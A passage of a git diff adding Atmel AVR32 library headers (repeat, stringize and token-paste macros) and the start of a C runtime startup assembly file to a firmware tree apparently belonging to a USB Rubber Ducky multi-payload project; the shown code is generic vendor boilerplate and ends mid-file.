macro( 31, data) +#define MREPEAT33( macro, data) MREPEAT32( macro, data) macro( 32, data) +#define MREPEAT34( macro, data) MREPEAT33( macro, data) macro( 33, data) +#define MREPEAT35( macro, data) MREPEAT34( macro, data) macro( 34, data) +#define MREPEAT36( macro, data) MREPEAT35( macro, data) macro( 35, data) +#define MREPEAT37( macro, data) MREPEAT36( macro, data) macro( 36, data) +#define MREPEAT38( macro, data) MREPEAT37( macro, data) macro( 37, data) +#define MREPEAT39( macro, data) MREPEAT38( macro, data) macro( 38, data) +#define MREPEAT40( macro, data) MREPEAT39( macro, data) macro( 39, data) +#define MREPEAT41( macro, data) MREPEAT40( macro, data) macro( 40, data) +#define MREPEAT42( macro, data) MREPEAT41( macro, data) macro( 41, data) +#define MREPEAT43( macro, data) MREPEAT42( macro, data) macro( 42, data) +#define MREPEAT44( macro, data) MREPEAT43( macro, data) macro( 43, data) +#define MREPEAT45( macro, data) MREPEAT44( macro, data) macro( 44, data) +#define MREPEAT46( macro, data) MREPEAT45( macro, data) macro( 45, data) +#define MREPEAT47( macro, data) MREPEAT46( macro, data) macro( 46, data) +#define MREPEAT48( macro, data) MREPEAT47( macro, data) macro( 47, data) +#define MREPEAT49( macro, data) MREPEAT48( macro, data) macro( 48, data) +#define MREPEAT50( macro, data) MREPEAT49( macro, data) macro( 49, data) +#define MREPEAT51( macro, data) MREPEAT50( macro, data) macro( 50, data) +#define MREPEAT52( macro, data) MREPEAT51( macro, data) macro( 51, data) +#define MREPEAT53( macro, data) MREPEAT52( macro, data) macro( 52, data) +#define MREPEAT54( macro, data) MREPEAT53( macro, data) macro( 53, data) +#define MREPEAT55( macro, data) MREPEAT54( macro, data) macro( 54, data) +#define MREPEAT56( macro, data) MREPEAT55( macro, data) macro( 55, data) +#define MREPEAT57( macro, data) MREPEAT56( macro, data) macro( 56, data) +#define MREPEAT58( macro, data) MREPEAT57( macro, data) macro( 57, data) +#define MREPEAT59( macro, data) MREPEAT58( macro, data) macro( 58, data) +#define MREPEAT60( macro, data) MREPEAT59( macro, data) macro( 59, data) +#define MREPEAT61( macro, data) MREPEAT60( macro, data) macro( 60, data) +#define MREPEAT62( macro, data) MREPEAT61( macro, data) macro( 61, data) +#define MREPEAT63( macro, data) MREPEAT62( macro, data) macro( 62, data) +#define MREPEAT64( macro, data) MREPEAT63( macro, data) macro( 63, data) +#define MREPEAT65( macro, data) MREPEAT64( macro, data) macro( 64, data) +#define MREPEAT66( macro, data) MREPEAT65( macro, data) macro( 65, data) +#define MREPEAT67( macro, data) MREPEAT66( macro, data) macro( 66, data) +#define MREPEAT68( macro, data) MREPEAT67( macro, data) macro( 67, data) +#define MREPEAT69( macro, data) MREPEAT68( macro, data) macro( 68, data) +#define MREPEAT70( macro, data) MREPEAT69( macro, data) macro( 69, data) +#define MREPEAT71( macro, data) MREPEAT70( macro, data) macro( 70, data) +#define MREPEAT72( macro, data) MREPEAT71( macro, data) macro( 71, data) +#define MREPEAT73( macro, data) MREPEAT72( macro, data) macro( 72, data) +#define MREPEAT74( macro, data) MREPEAT73( macro, data) macro( 73, data) +#define MREPEAT75( macro, data) MREPEAT74( macro, data) macro( 74, data) +#define MREPEAT76( macro, data) MREPEAT75( macro, data) macro( 75, data) +#define MREPEAT77( macro, data) MREPEAT76( macro, data) macro( 76, data) +#define MREPEAT78( macro, data) MREPEAT77( macro, data) macro( 77, data) +#define MREPEAT79( macro, data) MREPEAT78( macro, data) macro( 78, data) +#define MREPEAT80( macro, data) MREPEAT79( macro, data) macro( 79, data) +#define MREPEAT81( macro, data) MREPEAT80( macro, data) macro( 80, data) +#define MREPEAT82( macro, data) MREPEAT81( macro, data) macro( 81, data) +#define MREPEAT83( macro, data) MREPEAT82( macro, data) macro( 82, data) +#define MREPEAT84( macro, data) MREPEAT83( macro, data) macro( 83, data) +#define MREPEAT85( macro, data) MREPEAT84( macro, data) macro( 84, data) +#define MREPEAT86( macro, data) MREPEAT85( macro, data) macro( 85, data) +#define MREPEAT87( macro, data) MREPEAT86( macro, data) macro( 86, data) +#define MREPEAT88( macro, data) MREPEAT87( macro, data) macro( 87, data) +#define MREPEAT89( macro, data) MREPEAT88( macro, data) macro( 88, data) +#define MREPEAT90( macro, data) MREPEAT89( macro, data) macro( 89, data) +#define MREPEAT91( macro, data) MREPEAT90( macro, data) macro( 90, data) +#define MREPEAT92( macro, data) MREPEAT91( macro, data) macro( 91, data) +#define MREPEAT93( macro, data) MREPEAT92( macro, data) macro( 92, data) +#define MREPEAT94( macro, data) MREPEAT93( macro, data) macro( 93, data) +#define MREPEAT95( macro, data) MREPEAT94( macro, data) macro( 94, data) +#define MREPEAT96( macro, data) MREPEAT95( macro, data) macro( 95, data) +#define MREPEAT97( macro, data) MREPEAT96( macro, data) macro( 96, data) +#define MREPEAT98( macro, data) MREPEAT97( macro, data) macro( 97, data) +#define MREPEAT99( macro, data) MREPEAT98( macro, data) macro( 98, data) +#define MREPEAT100(macro, data) MREPEAT99( macro, data) macro( 99, data) +#define MREPEAT101(macro, data) MREPEAT100(macro, data) macro(100, data) +#define MREPEAT102(macro, data) MREPEAT101(macro, data) macro(101, data) +#define MREPEAT103(macro, data) MREPEAT102(macro, data) macro(102, data) +#define MREPEAT104(macro, data) MREPEAT103(macro, data) macro(103, data) +#define MREPEAT105(macro, data) MREPEAT104(macro, data) macro(104, data) +#define MREPEAT106(macro, data) MREPEAT105(macro, data) macro(105, data) +#define MREPEAT107(macro, data) MREPEAT106(macro, data) macro(106, data) +#define MREPEAT108(macro, data) MREPEAT107(macro, data) macro(107, data) +#define MREPEAT109(macro, data) MREPEAT108(macro, data) macro(108, data) +#define MREPEAT110(macro, data) MREPEAT109(macro, data) macro(109, data) +#define MREPEAT111(macro, data) MREPEAT110(macro, data) macro(110, data) +#define MREPEAT112(macro, data) MREPEAT111(macro, data) macro(111, data) +#define MREPEAT113(macro, data) MREPEAT112(macro, data) macro(112, data) +#define MREPEAT114(macro, data) MREPEAT113(macro, data) macro(113, data) +#define MREPEAT115(macro, data) MREPEAT114(macro, data) macro(114, data) +#define MREPEAT116(macro, data) MREPEAT115(macro, data) macro(115, data) +#define MREPEAT117(macro, data) MREPEAT116(macro, data) macro(116, data) +#define MREPEAT118(macro, data) MREPEAT117(macro, data) macro(117, data) +#define MREPEAT119(macro, data) MREPEAT118(macro, data) macro(118, data) +#define MREPEAT120(macro, data) MREPEAT119(macro, data) macro(119, data) +#define MREPEAT121(macro, data) MREPEAT120(macro, data) macro(120, data) +#define MREPEAT122(macro, data) MREPEAT121(macro, data) macro(121, data) +#define MREPEAT123(macro, data) MREPEAT122(macro, data) macro(122, data) +#define MREPEAT124(macro, data) MREPEAT123(macro, data) macro(123, data) +#define MREPEAT125(macro, data) MREPEAT124(macro, data) macro(124, data) +#define MREPEAT126(macro, data) MREPEAT125(macro, data) macro(125, data) +#define MREPEAT127(macro, data) MREPEAT126(macro, data) macro(126, data) +#define MREPEAT128(macro, data) MREPEAT127(macro, data) macro(127, data) +#define MREPEAT129(macro, data) MREPEAT128(macro, data) macro(128, data) +#define MREPEAT130(macro, data) MREPEAT129(macro, data) macro(129, data) +#define MREPEAT131(macro, data) MREPEAT130(macro, data) macro(130, data) +#define MREPEAT132(macro, data) MREPEAT131(macro, data) macro(131, data) +#define MREPEAT133(macro, data) MREPEAT132(macro, data) macro(132, data) +#define MREPEAT134(macro, data) MREPEAT133(macro, data) macro(133, data) +#define MREPEAT135(macro, data) MREPEAT134(macro, data) macro(134, data) +#define MREPEAT136(macro, data) MREPEAT135(macro, data) macro(135, data) +#define MREPEAT137(macro, data) MREPEAT136(macro, data) macro(136, data) +#define MREPEAT138(macro, data) MREPEAT137(macro, data) macro(137, data) +#define MREPEAT139(macro, data) MREPEAT138(macro, data) macro(138, data) +#define MREPEAT140(macro, data) MREPEAT139(macro, data) macro(139, data) +#define MREPEAT141(macro, data) MREPEAT140(macro, data) macro(140, data) +#define MREPEAT142(macro, data) MREPEAT141(macro, data) macro(141, data) +#define MREPEAT143(macro, data) MREPEAT142(macro, data) macro(142, data) +#define MREPEAT144(macro, data) MREPEAT143(macro, data) macro(143, data) +#define MREPEAT145(macro, data) MREPEAT144(macro, data) macro(144, data) +#define MREPEAT146(macro, data) MREPEAT145(macro, data) macro(145, data) +#define MREPEAT147(macro, data) MREPEAT146(macro, data) macro(146, data) +#define MREPEAT148(macro, data) MREPEAT147(macro, data) macro(147, data) +#define MREPEAT149(macro, data) MREPEAT148(macro, data) macro(148, data) +#define MREPEAT150(macro, data) MREPEAT149(macro, data) macro(149, data) +#define MREPEAT151(macro, data) MREPEAT150(macro, data) macro(150, data) +#define MREPEAT152(macro, data) MREPEAT151(macro, data) macro(151, data) +#define MREPEAT153(macro, data) MREPEAT152(macro, data) macro(152, data) +#define MREPEAT154(macro, data) MREPEAT153(macro, data) macro(153, data) +#define MREPEAT155(macro, data) MREPEAT154(macro, data) macro(154, data) +#define MREPEAT156(macro, data) MREPEAT155(macro, data) macro(155, data) +#define MREPEAT157(macro, data) MREPEAT156(macro, data) macro(156, data) +#define MREPEAT158(macro, data) MREPEAT157(macro, data) macro(157, data) +#define MREPEAT159(macro, data) MREPEAT158(macro, data) macro(158, data) +#define MREPEAT160(macro, data) MREPEAT159(macro, data) macro(159, data) +#define MREPEAT161(macro, data) MREPEAT160(macro, data) macro(160, data) +#define MREPEAT162(macro, data) MREPEAT161(macro, data) macro(161, data) +#define MREPEAT163(macro, data) MREPEAT162(macro, data) macro(162, data) +#define MREPEAT164(macro, data) MREPEAT163(macro, data) macro(163, data) +#define MREPEAT165(macro, data) MREPEAT164(macro, data) macro(164, data) +#define MREPEAT166(macro, data) MREPEAT165(macro, data) macro(165, data) +#define MREPEAT167(macro, data) MREPEAT166(macro, data) macro(166, data) +#define MREPEAT168(macro, data) MREPEAT167(macro, data) macro(167, data) +#define MREPEAT169(macro, data) MREPEAT168(macro, data) macro(168, data) +#define MREPEAT170(macro, data) MREPEAT169(macro, data) macro(169, data) +#define MREPEAT171(macro, data) MREPEAT170(macro, data) macro(170, data) +#define MREPEAT172(macro, data) MREPEAT171(macro, data) macro(171, data) +#define MREPEAT173(macro, data) MREPEAT172(macro, data) macro(172, data) +#define MREPEAT174(macro, data) MREPEAT173(macro, data) macro(173, data) +#define MREPEAT175(macro, data) MREPEAT174(macro, data) macro(174, data) +#define MREPEAT176(macro, data) MREPEAT175(macro, data) macro(175, data) +#define MREPEAT177(macro, data) MREPEAT176(macro, data) macro(176, data) +#define MREPEAT178(macro, data) MREPEAT177(macro, data) macro(177, data) +#define MREPEAT179(macro, data) MREPEAT178(macro, data) macro(178, data) +#define MREPEAT180(macro, data) MREPEAT179(macro, data) macro(179, data) +#define MREPEAT181(macro, data) MREPEAT180(macro, data) macro(180, data) +#define MREPEAT182(macro, data) MREPEAT181(macro, data) macro(181, data) +#define MREPEAT183(macro, data) MREPEAT182(macro, data) macro(182, data) +#define MREPEAT184(macro, data) MREPEAT183(macro, data) macro(183, data) +#define MREPEAT185(macro, data) MREPEAT184(macro, data) macro(184, data) +#define MREPEAT186(macro, data) MREPEAT185(macro, data) macro(185, data) +#define MREPEAT187(macro, data) MREPEAT186(macro, data) macro(186, data) +#define MREPEAT188(macro, data) MREPEAT187(macro, data) macro(187, data) +#define MREPEAT189(macro, data) MREPEAT188(macro, data) macro(188, data) +#define MREPEAT190(macro, data) MREPEAT189(macro, data) macro(189, data) +#define MREPEAT191(macro, data) MREPEAT190(macro, data) macro(190, data) +#define MREPEAT192(macro, data) MREPEAT191(macro, data) macro(191, data) +#define MREPEAT193(macro, data) MREPEAT192(macro, data) macro(192, data) +#define MREPEAT194(macro, data) MREPEAT193(macro, data) macro(193, data) +#define MREPEAT195(macro, data) MREPEAT194(macro, data) macro(194, data) +#define MREPEAT196(macro, data) MREPEAT195(macro, data) macro(195, data) +#define MREPEAT197(macro, data) MREPEAT196(macro, data) macro(196, data) +#define MREPEAT198(macro, data) MREPEAT197(macro, data) macro(197, data) +#define MREPEAT199(macro, data) MREPEAT198(macro, data) macro(198, data) +#define MREPEAT200(macro, data) MREPEAT199(macro, data) macro(199, data) +#define MREPEAT201(macro, data) MREPEAT200(macro, data) macro(200, data) +#define MREPEAT202(macro, data) MREPEAT201(macro, data) macro(201, data) +#define MREPEAT203(macro, data) MREPEAT202(macro, data) macro(202, data) +#define MREPEAT204(macro, data) MREPEAT203(macro, data) macro(203, data) +#define MREPEAT205(macro, data) MREPEAT204(macro, data) macro(204, data) +#define MREPEAT206(macro, data) MREPEAT205(macro, data) macro(205, data) +#define MREPEAT207(macro, data) MREPEAT206(macro, data) macro(206, data) +#define MREPEAT208(macro, data) MREPEAT207(macro, data) macro(207, data) +#define MREPEAT209(macro, data) MREPEAT208(macro, data) macro(208, data) +#define MREPEAT210(macro, data) MREPEAT209(macro, data) macro(209, data) +#define MREPEAT211(macro, data) MREPEAT210(macro, data) macro(210, data) +#define MREPEAT212(macro, data) MREPEAT211(macro, data) macro(211, data) +#define MREPEAT213(macro, data) MREPEAT212(macro, data) macro(212, data) +#define MREPEAT214(macro, data) MREPEAT213(macro, data) macro(213, data) +#define MREPEAT215(macro, data) MREPEAT214(macro, data) macro(214, data) +#define MREPEAT216(macro, data) MREPEAT215(macro, data) macro(215, data) +#define MREPEAT217(macro, data) MREPEAT216(macro, data) macro(216, data) +#define MREPEAT218(macro, data) MREPEAT217(macro, data) macro(217, data) +#define MREPEAT219(macro, data) MREPEAT218(macro, data) macro(218, data) +#define MREPEAT220(macro, data) MREPEAT219(macro, data) macro(219, data) +#define MREPEAT221(macro, data) MREPEAT220(macro, data) macro(220, data) +#define MREPEAT222(macro, data) MREPEAT221(macro, data) macro(221, data) +#define MREPEAT223(macro, data) MREPEAT222(macro, data) macro(222, data) +#define MREPEAT224(macro, data) MREPEAT223(macro, data) macro(223, data) +#define MREPEAT225(macro, data) MREPEAT224(macro, data) macro(224, data) +#define MREPEAT226(macro, data) MREPEAT225(macro, data) macro(225, data) +#define MREPEAT227(macro, data) MREPEAT226(macro, data) macro(226, data) +#define MREPEAT228(macro, data) MREPEAT227(macro, data) macro(227, data) +#define MREPEAT229(macro, data) MREPEAT228(macro, data) macro(228, data) +#define MREPEAT230(macro, data) MREPEAT229(macro, data) macro(229, data) +#define MREPEAT231(macro, data) MREPEAT230(macro, data) macro(230, data) +#define MREPEAT232(macro, data) MREPEAT231(macro, data) macro(231, data) +#define MREPEAT233(macro, data) MREPEAT232(macro, data) macro(232, data) +#define MREPEAT234(macro, data) MREPEAT233(macro, data) macro(233, data) +#define MREPEAT235(macro, data) MREPEAT234(macro, data) macro(234, data) +#define MREPEAT236(macro, data) MREPEAT235(macro, data) macro(235, data) +#define MREPEAT237(macro, data) MREPEAT236(macro, data) macro(236, data) +#define MREPEAT238(macro, data) MREPEAT237(macro, data) macro(237, data) +#define MREPEAT239(macro, data) MREPEAT238(macro, data) macro(238, data) +#define MREPEAT240(macro, data) MREPEAT239(macro, data) macro(239, data) +#define MREPEAT241(macro, data) MREPEAT240(macro, data) macro(240, data) +#define MREPEAT242(macro, data) MREPEAT241(macro, data) macro(241, data) +#define MREPEAT243(macro, data) MREPEAT242(macro, data) macro(242, data) +#define MREPEAT244(macro, data) MREPEAT243(macro, data) macro(243, data) +#define MREPEAT245(macro, data) MREPEAT244(macro, data) macro(244, data) +#define MREPEAT246(macro, data) MREPEAT245(macro, data) macro(245, data) +#define MREPEAT247(macro, data) MREPEAT246(macro, data) macro(246, data) +#define MREPEAT248(macro, data) MREPEAT247(macro, data) macro(247, data) +#define MREPEAT249(macro, data) MREPEAT248(macro, data) macro(248, data) +#define MREPEAT250(macro, data) MREPEAT249(macro, data) macro(249, data) +#define MREPEAT251(macro, data) MREPEAT250(macro, data) macro(250, data) +#define MREPEAT252(macro, data) MREPEAT251(macro, data) macro(251, data) +#define MREPEAT253(macro, data) MREPEAT252(macro, data) macro(252, data) +#define MREPEAT254(macro, data) MREPEAT253(macro, data) macro(253, data) +#define MREPEAT255(macro, data) MREPEAT254(macro, data) macro(254, data) +#define MREPEAT256(macro, data) MREPEAT255(macro, data) macro(255, data) + + +#endif // _MREPEAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/preprocessor.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/preprocessor.h new file mode 100644 index 0000000..93bbb75 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/preprocessor.h @@ -0,0 +1,53 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _PREPROCESSOR_H_ +#define _PREPROCESSOR_H_ + +#include "tpaste.h" +#include "stringz.h" +#include "mrepeat.h" + + +#endif // _PREPROCESSOR_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/stringz.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/stringz.h new file mode 100644 index 0000000..e9fd386 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/stringz.h @@ -0,0 +1,73 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor stringizing utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _STRINGZ_H_ +#define _STRINGZ_H_ + + +/*! \brief Stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * May be used only within macros with the token passed as an argument if the token is \#defined. + * + * For example, writing STRINGZ(PIN) within a macro \#defined by PIN_NAME(PIN) + * and invoked as PIN_NAME(PIN0) with PIN0 \#defined as A0 is equivalent to + * writing "A0". + */ +#define STRINGZ(x) #x + +/*! \brief Absolute stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * No restriction of use if the token is \#defined. + * + * For example, writing ASTRINGZ(PIN0) anywhere with PIN0 \#defined as A0 is + * equivalent to writing "A0". + */ +#define ASTRINGZ(x) STRINGZ(x) + + +#endif // _STRINGZ_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/tpaste.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/tpaste.h new file mode 100644 index 0000000..eb923d6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/tpaste.h @@ -0,0 +1,93 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor token pasting utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _TPASTE_H_ +#define _TPASTE_H_ + + +/*! \name Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * May be used only within macros with the tokens passed as arguments if the tokens are \#defined. + * + * For example, writing TPASTE2(U, WIDTH) within a macro \#defined by + * UTYPE(WIDTH) and invoked as UTYPE(UL_WIDTH) with UL_WIDTH \#defined as 32 is + * equivalent to writing U32. + */ +//! @{ +#define TPASTE2( a, b) a##b +#define TPASTE3( a, b, c) a##b##c +#define TPASTE4( a, b, c, d) a##b##c##d +#define TPASTE5( a, b, c, d, e) a##b##c##d##e +#define TPASTE6( a, b, c, d, e, f) a##b##c##d##e##f +#define TPASTE7( a, b, c, d, e, f, g) a##b##c##d##e##f##g +#define TPASTE8( a, b, c, d, e, f, g, h) a##b##c##d##e##f##g##h +#define TPASTE9( a, b, c, d, e, f, g, h, i) a##b##c##d##e##f##g##h##i +#define TPASTE10(a, b, c, d, e, f, g, h, i, j) a##b##c##d##e##f##g##h##i##j +//! @} + +/*! \name Absolute Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * No restriction of use if the tokens are \#defined. + * + * For example, writing ATPASTE2(U, UL_WIDTH) anywhere with UL_WIDTH \#defined + * as 32 is equivalent to writing U32. + */ +//! @{ +#define ATPASTE2( a, b) TPASTE2( a, b) +#define ATPASTE3( a, b, c) TPASTE3( a, b, c) +#define ATPASTE4( a, b, c, d) TPASTE4( a, b, c, d) +#define ATPASTE5( a, b, c, d, e) TPASTE5( a, b, c, d, e) +#define ATPASTE6( a, b, c, d, e, f) TPASTE6( a, b, c, d, e, f) +#define ATPASTE7( a, b, c, d, e, f, g) TPASTE7( a, b, c, d, e, f, g) +#define ATPASTE8( a, b, c, d, e, f, g, h) TPASTE8( a, b, c, d, e, f, g, h) +#define ATPASTE9( a, b, c, d, e, f, g, h, i) TPASTE9( a, b, c, d, e, f, g, h, i) +#define ATPASTE10(a, b, c, d, e, f, g, h, i, j) TPASTE10(a, b, c, d, e, f, g, h, i, j) +//! @} + + +#endif // _TPASTE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/startup_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/startup_uc3.S new file mode 100644 index 0000000..2a7f975 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/startup/startup_uc3.S @@ -0,0 +1,118 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AVR32UC C runtime startup file. + * + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32UC devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _start + .type _start, @function +_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + + // _stext is placed outside the .reset section so that the program entry point + // can be changed without affecting the C runtime startup. + .section .text._stext, "ax", @progbits + + + .global _stext + .type _stext, @function +_stext: + // Set initial stack pointer. + lda.w sp, _estack + + // Set up EVBA so interrupts can be enabled. + lda.w r0, _evba + mtsr AVR32_EVBA, r0 + + // Enable the exception processing. + csrf AVR32_SR_EM_OFFSET + + // Load initialized data having a global lifetime from the data LMA. + lda.w r0, _data + lda.w r1, _edata + cp r0, r1 + brhs idata_load_loop_end + lda.w r2, _data_lma +idata_load_loop: + ld.d r4, r2++ + st.d r0++, r4 + cp r0, r1 + brlo idata_load_loop +idata_load_loop_end: + + // Clear uninitialized data having a global lifetime in the blank static storage section. + lda.w r0, __bss_start + lda.w r1, _end + cp r0, r1 + brhs udata_clear_loop_end + mov r2, 0 + mov r3, 0 